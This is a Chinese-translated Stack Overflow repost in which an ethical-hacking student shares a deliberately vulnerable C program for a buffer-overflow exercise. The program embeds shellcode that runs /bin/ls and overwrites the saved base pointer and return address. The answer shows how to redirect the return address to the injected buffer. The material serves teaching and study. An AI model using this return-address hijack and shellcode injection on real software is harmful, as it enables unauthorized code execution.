gpt4 book ai didi

c - 缓冲区溢出: execute char array loaded into memory

转载 作者:行者123 更新时间:2023-11-30 17:44:15 25 4
gpt4 key购买 nike

我是一名道德黑客学生,并已将其作为练习。我已经坚持了两天了。

我们正在编写一个故意容易受到“缓冲区溢出”影响的程序。

#include <stdio.h>

void badf(int n, char c, char* buffer)
{

char mycode[] = {
0xeb, 0x0f, 0xb8, 0x0b,
0x00, 0x00, 0x00, 0x8b,
0x1c, 0x24, 0x8d, 0x0c,
0x24, 0x31, 0xd2, 0xcd,
0x80, 0xe8, 0xec, 0xff,
0xff, 0xff, 0x2f, 0x62,
0x69, 0x6e, 0x2f, 0x6c,
0x73, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00
}; // 37 bytes

int i;
// Copy mycode array into buffer array
for (i=0; i<n; i++)
{
buffer[i]=mycode[i];
}

// Overwrite Base Pointer
buffer[37] = 0x00;
buffer[38] = 0x00;
buffer[39] = 0x00;
buffer[40] = 0x00;
// Overwrite Instruction Pointer
buffer[41] = 0x90;
buffer[42] = 0x83;
buffer[43] = 0x04;
buffer[44] = 0x08;
}

void f(int n, char c)
{
char buffer[37];

badf(n,c,buffer);
}

void test()
{
printf("test\n");
}

int main()
{
f(37,0x00);
return 0;
}

mycode 数组包含“恶意”机器代码(它实际上只是使用 /bin/ls 调用 execv)。 badf 是“易受攻击”的函数。目前,您可以看到我正在用 0x00s 覆盖基指针,并用 0x08048390 覆盖指令指针,这是 test() 函数的地址。这有效,“test”被打印到终端。

现在我的下一个练习是“使用 ddd 查找代码数组的地址并修改 C 以将该地址写入指令指针,就像您在上一步中所做的那样”。

我不明白的是如何使用ddd来查找代码数组的地址。我可以很容易找到数组移动到BP的地址:

   0x08048260 <badf+12>:        movb   $0xeb,-0x29(%ebp)
0x08048264 <badf+16>: movb $0xf,-0x28(%ebp)
0x08048268 <badf+20>: movb $0xb8,-0x27(%ebp)
.....

或者将其复制到缓冲区数组的位置:

   0x080482f4 <badf+160>:       movl   $0x0,-0x4(%ebp)
0x080482fb <badf+167>: jmp 0x8048316 <badf+194>
0x080482fd <badf+169>: mov -0x4(%ebp),%edx
0x08048300 <badf+172>: mov 0x10(%ebp),%eax
.....

但这当然不是我们想要的。

如何找到指令指针地址来执行通过这种方式写入缓冲区数组而加载的机器代码?

编辑:ddd 是我们正在使用的调试器,还要注意我们正在使用 32 位 Linux。该代码使用 -fno-stack-operator 标志进行编译,禁用编译器自动检查缓冲区溢出。

最佳答案

由于您将 myCode 复制到缓冲区中,因此您可以简单地使用 buffer 本身:

假设一台小端机器:

// Overwrite Instruction Pointer
buffer[41] = (char)(((uintptr_t)buffer) >> 0);
buffer[42] = (char)(((uintptr_t)buffer) >> 8);
buffer[43] = (char)(((uintptr_t)buffer) >> 16);
buffer[44] = (char)(((uintptr_t)buffer) >> 24);

关于c - 缓冲区溢出: execute char array loaded into memory,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/20048813/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com